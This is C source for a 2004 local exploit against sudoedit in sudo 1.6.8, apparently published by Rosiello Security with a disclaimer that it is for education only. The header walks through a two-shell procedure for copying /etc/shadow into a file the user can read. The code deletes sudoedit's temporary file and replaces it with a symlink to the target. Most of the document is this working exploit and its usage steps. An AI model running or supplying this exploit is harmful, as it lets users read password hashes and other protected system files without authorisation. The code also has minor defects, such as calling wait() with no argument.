sudo_exploit.c

/*

           Copyright ? Rosiello Security 2004
                http://www.rosiello.org

                  sudoedit Exploit


SOFTWARE : sudoedit
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004

Summary:
A flaw in exists in sudo's -u option (aka sudoedit)
in sudo version 1.6.8 that can give an attacker
read permission to a file that would otherwise be
unreadable.

Sudo versions affected:
1.6.8 only

Credit:
Reznic Valery discovered the problem.

-----------------------------------------------------------

All the information that you can find in this software
were published for educational and didactic purpose only.
The author published this program under the condition
that is not in the intention of the reader to use them
in order to bring to himself or others a profit or to bring
to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.

EXAMPLE SCENARIO:

1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello
CONTACT: angelo@rosiello.org

*/

#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>


int main( int argc, char *argv[] )
{
        char PATH[]="/usr/tmp";
        char file[32];
        DIR *tmp;
        struct dirent *de;
        tmp = opendir ( PATH );
        int found = 0;

        printf( "Copyright ?? Rosiello Security 2004\n" );
        printf( "http://www.rosiello.org\n" );

        if( argc!=2 )
        {
                printf( "USAGE: %s file\n", argv[0] );
                return( 0 );
        }


        while ( (de = readdir ( tmp ))!= NULL )
        {
                if ( (strstr(de->d_name, "rosiello") != NULL) )
                {
                        if( strlen(de->d_name) > 24 ) return( 0 );
                        sprintf( file, "%s/%s", PATH, (char *)de->d_name );
                        remove( file );
                        if( fork()!=0 )
                        {
                                execl( "/bin/ln", "ln", "-s", argv[1], file, NULL );
                        }
                        wait( );
                        printf( "Now you can close sudoedit and reopen rosiello!\n" );
                        found=1;
                        goto end;

                }

        }
        end:
        closedir( tmp );

        if( !found )
                printf( "File Not Found!\n" );
        return( 0 );

}